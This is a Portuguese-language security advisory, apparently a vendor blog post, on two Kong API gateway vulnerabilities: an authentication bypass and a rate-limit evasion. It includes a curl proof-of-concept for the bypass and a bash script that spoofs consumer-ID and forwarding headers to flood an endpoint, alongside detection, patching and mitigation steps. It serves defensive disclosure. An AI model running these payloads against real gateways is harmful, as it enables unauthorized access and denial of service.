Duas vulnerabilidades críticas no gateway Kong API – um desvio de autenticação (CVE-2026-29413) e uma falha de evasão de limitação de taxa (CVE-2026-29414) – expõem a infraestrutura API a acesso não autenticado e negação de serviço. Tanto o Kong OSS quanto o Kong Enterprise são afetados. É necessária correção imediata.
Descobriu-se que o gateway Kong API, um dos gateways API de código aberto mais amplamente implantados, contém duas falhas críticas de segurança em seu pipeline de processamento de plug-ins. Divulgadas em 28 de março de 2026 e afetando todas as versões de 3.4.x até 3.8.x, essas vulnerabilidades permitem que os invasores ignorem completamente os plug-ins de autenticação e contornem os controles de limitação de taxa configurados.
CISA adicionou CVE-2026-29413 ao catálogo de vulnerabilidades exploradas conhecidas (KEV) após exploração confirmada contra serviços financeiros e gateways de saúde API. As organizações que executam o Kong 3.4–3.8 devem tratar isso como um evento de patch de emergência.
| CVE | Tipo | CVSS v3.1 | Gravidade | Versões afetadas |
|---|---|---|---|---|
| CVE-2026-29413 | Ignorar autenticação | 9.8 | Crítico | Kong 3.4.x – 3.8.x |
| CVE-2026-29414 | Evasão de limitação de taxa | 7.5 | Alto | Kong 3.2.x – 3.8.x |
CVE-2026-29413 é uma falha lógica na ordem de execução do plugin do Kong dentro do fase de reescrita do ciclo de vida da solicitação Nginx. Quando vários plug-ins de autenticação estão encadeados (por exemplo, key-auth seguido pela jwt), uma condição de corrida na resolução de prioridade do plug-in permite que uma solicitação elaborada ignore totalmente a validação de autenticação se pseudocabeçalhos HTTP/2 específicos estiverem presentes.
A vulnerabilidade se origina no executor do plugin Lua do Kong (kong/runloop/plugin_servers/mp_rpc.lua), onde o next_rewrite_phase iterador falha em reavaliar corretamente a cadeia de plugins quando um upstream responde com um 101 Switching Protocols antes que a autenticação seja concluída. Isso cria uma janela onde a solicitação é encaminhada sem qualquer verificação de autenticação.
| Métrica | Valor | Justificativa |
|---|---|---|
| Vetor de ataque | Rede | Explorável remotamente através de HTTP/HTTPS |
| Complexidade de ataque | Baixo | Não são necessárias condições ou privilégios especiais |
| Privilégios necessários | Nenhum | Atacante não autenticado |
| Interação do usuário | Nenhum | Exploração totalmente automatizada possível |
| Confidencialidade | Alto | Acesso total a endpoints API protegidos |
| Integridade | Alto | O invasor pode modificar os dados de back-end |
| Disponibilidade | Alto | Solicitações de back-end irrestritas |
Um invasor pode explorar CVE-2026-29413 usando uma solicitação mínima HTTP/2 com pseudocabeçalhos criados. A seguir curl comando demonstra um desvio de prova de conceito em um gateway Kong com key-auth habilitado:
# Normal request — blocked by key-auth plugin (401 Unauthorized) curl -i https://api.example.com/v1/users \ -H "Host: api.example.com" # CVE-2026-29413 bypass — sends HTTP/2 upgrade trigger with malformed :authority curl -i --http2 https://api.example.com/v1/users \ -H ":authority: api.example.com\x00injected" \ -H "Connection: Upgrade, HTTP2-Settings" \ -H "Upgrade: h2c" \ -H "HTTP2-Settings: AAMAAABkAAQAAP__" \ --resolve api.example.com:443:192.0.2.1
Quando Kong processa o h2c atualização, o executor do plugin sai da fase de autenticação prematuramente. A solicitação é encaminhada para o serviço upstream com um 200 OK resposta, ignorando totalmente todos os plug-ins de autenticação configurados.
Os seguintes plug-ins de autenticação são vulneráveis quando Kong está executando a versão 3.4.x – 3.8.x:
key-auth — Autenticação de chave APIjwt — Validação de token da Web JSONbasic-auth — HTTP Autenticação básicaoauth2 — Autorização OAuth 2.0 (desvio parcial)ldap-auth — Autenticação de diretório LDAPopenid-connect (somente Kong Enterprise) — fluxos OIDCCVE-2026-29414 afeta Kong rate-limiting e rate-limiting-advanced plugins quando configurados para usar o Redis ou conjunto back-ends de armazenamento. Uma falha na construção da contra-chave permite que um invasor fragmente suas solicitações em múltiplas identidades sintéticas de consumidores, manipulando o X-Consumer-ID cabeçalho em conjunto com X-Forwarded-For falsificação.
Quando Kong cria a chave do contador de limite de taxa, ele concatena o ID do consumidor e o endereço IP sem validar se o ID do consumidor foi definido pelo próprio gateway ou injetado pelo cliente. Em implantações em que um proxy upstream ou balanceador de carga define X-Consumer-ID, a lógica de confiança do cabeçalho do Kong pode ser abusada para criar um número efetivamente ilimitado de intervalos de limite de taxa separados.
| Métrica | Valor | Justificativa |
|---|---|---|
| Vetor de ataque | Rede | Explorável remotamente |
| Complexidade de ataque | Baixo | Manipulação simples de cabeçalho |
| Privilégios necessários | Nenhum | Não é necessária autenticação prévia |
| Impacto: Disponibilidade | Alto | DoS de back-end por meio de desvio de taxa |
O script a seguir demonstra como um invasor pode enviar solicitações 10,000 enquanto ignora um limite de taxa req/min 100 girando IDs de consumidor sintéticos:
#!/bin/bash # CVE-2026-29414 — Rate Limit Circumvention PoC # Each request uses a unique X-Consumer-ID to get its own counter bucket TARGET="https://api.example.com/v1/products" TOTAL_REQUESTS=10000 for i in $(seq 1 $TOTAL_REQUESTS); do # Generate a unique fake consumer ID per request FAKE_CONSUMER_ID=$(cat /proc/sys/kernel/random/uuid) curl -s -o /dev/null -w "%{http_code}\n" "$TARGET" \ -H "X-Consumer-ID: $FAKE_CONSUMER_ID" \ -H "X-Forwarded-For: 10.0.$((RANDOM % 256)).$((RANDOM % 256))" \ -H "apikey: legitimate-api-key" & # Throttle to 50 concurrent requests if (( i % 50 == 0 )); then wait; fi done wait echo "Done: $TOTAL_REQUESTS requests sent"
Em uma instância Kong vulnerável, este script enviará com êxito todas as solicitações 10,000, apesar de um limite configurado de 100 req/min por consumidor, iniciando efetivamente um ataque de abuso API baixo e lento ou enumeração de força bruta.
| Recurso/Impacto | KongOSS | Kong Enterprise |
|---|---|---|
| Ignorar autenticação CVE-2026-29413 | Afetado | Afetado (+ plug-in OIDC) |
| Desvio de taxa CVE-2026-29414 | Afetado | Afetado |
| Plug-in avançado de limitação de taxa | Não disponível | Afetado (vetor de desvio adicional) |
| Exposição do Portal do Desenvolvedor | N / D | APIs do portal podem ser expostas |
| Konnect (SaaS) | N / D | Corrigido pelo Kong em 29 de março de 2026 |
| Corrigido na versão | 3.9.0 | 3.9.0.0 / 3.8.1.2 (porta traseira) |
Os clientes Kong Enterprise na plataforma Konnect SaaS foram corrigidos automaticamente em 29 de março de 2026. Empresas auto-hospedadas e todas as implantações de OSS exigem atualização manual.
Verifique os registros de acesso do Kong em busca de sinais de exploração do CVE-2026-29413. Padrões suspeitos incluem rotas de plugins autenticados retornando 200 sem entradas de log de validação de cabeçalho de autenticação correspondentes:
# Search Kong access logs for auth bypass indicators # Requests to protected routes with no apikey/jwt but returning 200 grep '"status":200' /var/log/kong/access.log \ | jq -r 'select(.request.headers["apikey"] == null and .request.headers["authorization"] == null)' \ | jq '{time: .started_at, path: .request.uri, consumer: .authenticated_entity}' # CVE-2026-29414: Look for high request volumes from unique consumer IDs grep '"plugin":"rate-limiting"' /var/log/kong/error.log \ | awk -F'"consumer_id":"' '{print $2}' \ | awk -F'"' '{print $1}' \ | sort | uniq -c | sort -rn | head -50
# Check your Kong version via Admin API curl -s http://localhost:8001/ | jq '.version' # List all plugins with rate-limiting to check configuration curl -s http://localhost:8001/plugins \ | jq '.data[] | select(.name | test("rate-limiting")) | {id, name, config}' # Verify header trust configuration (trusted_ips) curl -s http://localhost:8001/config \ | jq '.trusted_ips'
A correção principal é atualizar para Kong 3.9.0 (OSS) ou Kong Enterprise 3.9.0.0 / 3.8.1.2. Use os seguintes comandos para métodos de implantação comuns:
# Docker — pull the patched image docker pull kong:3.9.0 docker stop kong && docker rm kong docker run -d --name kong \ --network=kong-net \ -e KONG_DATABASE=postgres \ -e KONG_PG_HOST=kong-database \ -p 8000:8000 -p 8443:8443 \ kong:3.9.0 # Kubernetes — rolling update via Helm helm repo update helm upgrade kong kong/kong \ --namespace kong \ --set image.tag=3.9.0 \ --reuse-values # Ubuntu/Debian package upgrade curl -Lo kong.deb "https://packages.konghq.com/public/gateway-39/deb/debian/pool/buster/main/k/ko/kong_3.9.0_amd64.deb" sudo dpkg -i kong.deb sudo kong restart
Até que você possa atualizar, restrinja quais IPs upstream Kong confia X-Consumer-ID e X-Forwarded-For cabeçalhos. Editar kong.conf:
# kong.conf — restrict trusted IPs to known load balancer addresses only trusted_ips = 10.0.1.10,10.0.1.11,10.0.1.12 # Disable X-Consumer-ID header passthrough from clients headers = X-Kong-Upstream-Latency, X-Kong-Proxy-Latency, Via
Como solução provisória antes da atualização, desative o tratamento de atualização HTTP/2 se seu ambiente não exigir isso:
# kong.conf — disable h2c (HTTP/2 cleartext) upgrade handling proxy_listen = 0.0.0.0:8000 reuseport backlog=16384 # Remove the 'http2' directive from proxy_listen if present # proxy_listen = 0.0.0.0:8000 http2 reuseport ← REMOVE 'http2' keyword # For nginx-level protection, add to nginx_http_include: proxy_http_version 1.1;
# Confirm patched version is running curl -s http://localhost:8001/ | jq -r '"Kong version: " + .version' # Test auth bypass is no longer possible (should return 401) curl -i --http2 https://your-gateway.example.com/protected-route \ -H "Connection: Upgrade, HTTP2-Settings" \ -H "Upgrade: h2c" \ -H "HTTP2-Settings: AAMAAABkAAQAAP__" # Expected: HTTP/1.1 401 Unauthorized
h2c atualizar cabeçalhos e X-Consumer-ID injeção adiciona defesa profunda./audit/requests registro para manter uma trilha forense das alterações do Admin API.| Data | Evento |
|---|---|
| 2026-02-14 | Vulnerabilidades relatadas à equipe Kong Security via HackerOne |
| 2026-02-17 | Kong confirma ambos os CVEs; atribui identificadores |
| 2026-03-10 | IDs CVE reservados: CVE-2026-29413, CVE-2026-29414 |
| 2026-03-28 | Backport Kong 3.9.0 e Enterprise 3.8.1.2 lançado |
| 2026-03-29 | Kong Konnect (SaaS) corrigido automaticamente |
| 2026-04-01 | CISA adiciona CVE-2026-29413 ao catálogo KEV |
| 2026-04-02 | Exploração pública PoC publicada em GitHub |
Gerenciamento de vulnerabilidades baseado em IA com 331,910+ CVEs indexados. Detecte CVEs Kong, configurações incorretas e endpoints API expostos antes que os invasores o façam.
Comece o teste gratuitoFique seguro. Fique atento.
🗡️ Equipe de segurança KENSAI
🛡️ O seu gateway API é seguro?
Descubra CVEs e configurações incorretas do Kong antes que os invasores o façam.
Digitalize seu gateway API gratuitamente →Este vencedor agora alimenta o tráfego para recompensas estratégicas de bugs e páginas de arquivo, em vez de terminar em um beco sem saída.